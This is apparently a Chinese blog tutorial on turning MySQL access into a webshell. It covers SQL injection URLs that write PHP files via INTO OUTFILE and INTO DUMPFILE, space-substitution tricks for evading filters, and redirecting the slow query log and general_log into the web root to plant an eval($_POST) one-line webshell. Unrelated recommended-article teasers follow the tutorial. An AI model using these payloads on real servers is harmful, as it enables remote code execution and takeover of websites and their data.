文章目录

  • outfile和dumpfile写shell
    • 利用条件
    • 基于union联合查询:
    • 非联合查询
    • outfile和dumpfile的区别
    • secure_file_prive
  • 日志getshell
    • 慢日志getshell
    • 利用general_log
    • binlog的介绍

outfile和dumpfile写shell

利用条件

  1. 数据库当前用户为root权限;
  2. 知道当前网站的绝对路径;
  3. PHPGPC为 off状态;(魔术引号,GET,POST,Cookie)
  4. 写入的那个路径存在写入权限。

基于union联合查询:

?id=1 union select 1,'<?php phpinfo();?>',3 into outfile 'C:\phpstudy\www\shell.php'%23
?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile 'C:\phpstudy\www\shell.php'%23

非联合查询

当我们无法使用联合查询时,我们可以使用fields terminated bylines terminated by来写shell

?id=1 into outfile 'C:\phpstudy\www\shell.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23

代替空格的方法

+号,%0a%0b%a0 、 /**/ 注释符等

outfile和dumpfile的区别

outfile:

1、 支持多行数据同时导出

2、 使用union联合查询时,要保证两侧查询的列数相同

3、 会在换行符制表符后面追加反斜杠

4、会在末尾追加换行

dumpfile:

1、 每次只能导出一行数据

2、 不会在换行符制表符后面追加反斜杠

3、 不会在末尾追加换行

因此,我们可以使用into dumpfile这个函数来顺利写入二进制文件;

当然into outfile函数也可以写入二进制文件,但是无法生效(追加的反斜杠会使二进制文件无法生效)

当我们使用dumpfile,应该手动添加 limit 限制,来获取不同的行数

secure_file_prive

MySQL的secure-file-prive参数是用来限制LOAD DATA, SELECT ,OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_prive= ,结果为空的话,表示允许任何文件读写

secure_file_prive=NULL,表示不允许任何文件读写

secure_file_prive=‘某个路径’,表示这个路径作为文件读写的路径

在mysql5.5版本前,都是默认为空,允许读取

在mysql5.6版本后 ,默认为NULL,并且无法用SQL语句对其进行修改。所以这种只能在配置进行修改。

查询secure_file_prive的参数

show global variables like "%secure%"

利用sql语句修改参数

set global secure_file_prive=

但是5.6后不能利用sql修改了,所以只能利用配置修改

修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf

日志getshell

慢日志getshell

慢日志:

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:

show global variables like '%long_query_time%'
show global variables like '%long%'

查看慢日志参数

show global variables like '%slow%'

对慢日志参数进行修改

set global slow_query_log=1 #打开慢日志
set global slow_query_log_file='c:\\phpstudy\\www\\test.php'#慢日志的路径
注意:一定要用双反斜杠
SELECT '<?php @eval($_POST[1]);?>' or sleep(11)
这儿11是超过慢日志的10秒时间

利用general_log

利用general_log,可以将所有到达mysql服务器的sql语句,都记录下来。

相关参数一共有3个:general_log、log_output、general_log_file

show variables like 'general_log';  -- 查看日志是否开启
set global general_log=on; -- 开启日志功能show variables like 'general_log_file';  -- 看看日志文件保存位置
set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置show variables like 'log_output';  -- 看看日志输出类型  table或file
set global log_output='table'; -- 设置输出类型为 table
set global log_output='file';   -- 设置输出类型为file

一般log_output都是file,就是将日志存入文件中。table的话就是将日志存入数据库的日志表中。

getshell

set global general_log=on
set global general_log_file='需要攻击的路径'
select '<?php eval($_POST[cmd]);?>'

这样就将一句话木马记录到general_log中,从而getshell

binlog的介绍

可以看看这个

mysql中getshell的方式相关推荐

  1. mysql中哪种方式可以开启一个事务_网易技术类笔试题-2016

    一.单选题 1.下面两个结构体 struct One{ double d; char c; int i; } struct Two{ char c; double d; int i; } 在#prag ...

  2. MySQL中四种方式给字段添加索引

    MySQL中给字段创建索引的四种方式: 添加主键 ALTER TABLE tbl_name ADD PRIMARY KEY (col_list); 该语句添加一个主键,这意味着索引值必须是唯一的,且不 ...

  3. MySQL中的编码方式错误

    可以去 MySQL 的安装目录下 找到my.ini这个文件,然后更改 defalult-character-set 的值. 我的my.ini 路径是 C:\Program Files\MySQL\My ...

  4. Mysql 中MVCC 设计方式

    是什么? 多版本并发控制 作用是什么? 在并发场景下,使用不加锁或者乐观锁的思想去解决读和写的关系,使提高读的效率和又控制了写时的并发问题. 核心思想是: 读是快照读,写是通过undo log 记录版 ...

  5. Bootstrap4+MySQL前后端综合实训-Day01-AM【实训安排、HBuilder下载及使用、双飞翼布局(圣杯布局)案例、CSS在线手册、flex布局中的对齐方式】

    [Bootstrap4前端框架+MySQL数据库]前后端综合实训[10天课程 博客汇总表 详细笔记] 目   录 实训安排 日常要求.项目要求 项目开发流程 HTML+CSS+JavaScript 基 ...

  6. Spark-SQL从MySQL中加载数据以及将数据写入到mysql中(Spark Shell方式,Spark SQL程序)

    1. JDBC Spark SQL可以通过JDBC从关系型数据库中读取数据的方式创建DataFrame,通过对DataFrame一系列的计算后,还可以将数据再写回关系型数据库中. 1.1. 从MySQ ...

  7. flask 写数据mysql_flask 创建数据提交到mysql中的方式

    有几种方式可以提交到mysql中,可以单次,可以多次 1. 实例化表,将表中的字段赋值,提交到数据库 @stu.route('/createstu/') def create_stu(): stu = ...

  8. spark mysql 写_Spark-SQL从MySQL中加载数据以及将数据写入到mysql中(Spark Shell方式,Spark SQL程序)...

    1. JDBC Spark SQL可以通过JDBC从关系型数据库中读取数据的方式创建DataFrame,通过对DataFrame一系列的计算后,还可以将数据再写回关系型数据库中. 1.1. 从MySQ ...

  9. centos7切换root为mysql,CentOS 7中使用rpm方式安装MySQL 5.7后无法使用root登录解决

    最近在CentOS 7中通过rpm方式安装了最新版本的mysql-server 5.7 (mysql57-community-release-el7-7.noarch.rpm) ,发现安装成功后无法使 ...

最新文章

  1. Rider 2018.3.4 发布,跨平台 .NET IDE
  2. 第 19 章 XML映射
  3. hdc mfc 画扇形图_科学网—画扇形图(idl程序) - 张国印的博文
  4. URL(统一资源定位符)
  5. C++ 大话数据结构 09: 中缀表达式 转后缀表达式 计算器
  6. 八千字硬核长文梳理Linux内核概念及学习路线
  7. ASP.NET Core MVC – Tag Helper 组件
  8. windows--bat--%0无限执行当前bat脚本
  9. http web 返回码概念
  10. 【JZOJ 6080】【GDOI2019模拟2019.3.23】IOer
  11. Win10 Edge浏览器设置默认bing/google为搜索引擎教程
  12. 构建 Darknet 分类器 (Tiny Darknet) 训练数据集 (color recognition 颜色识别/color classification 颜色分类)
  13. stm32入门开发板选野火还是正点原子好,哪个的视频讲到好一点?
  14. 谈一谈|旅游信息资源交换系统设计规范解读(一)
  15. 【RL笔记】基于tensorflow实现RL的policy based算法
  16. 在线打字系统php,页面源码 - 在线打字测试(dazi.kukuw.com)
  17. 禹贡(Yukon)空间数据库 QA 集锦
  18. 【2011.12.10普及模拟】泽泽在巴西
  19. HTC G13 刷机时出现no image or wrong image问题解决办法
  20. Peppermint将基于云的开源桌面引入非洲

热门文章

  1. C# 声明枚举、枚举值描述 获取枚举值字符串 根据枚举获取枚举值描述
  2. python 执行ADB命令(附源码)
  3. 即使无被告身份证信息,法院也必须立案
  4. 汽车OBD2诊断程序开发 (原文转载,思路很清晰!)
  5. 基于JAVA果之芒农场销售系统计算机毕业设计源码+数据库+lw文档+系统+部署
  6. 解决Eclipse中文乱码问题
  7. 自动生成跨多端骨架屏
  8. 【Excel】隐藏行和列的快捷方法
  9. 美国楼市是如何从天堂坠入地狱的
  10. 我的职业是前端工程师:学习前端只需要三个月【框架篇】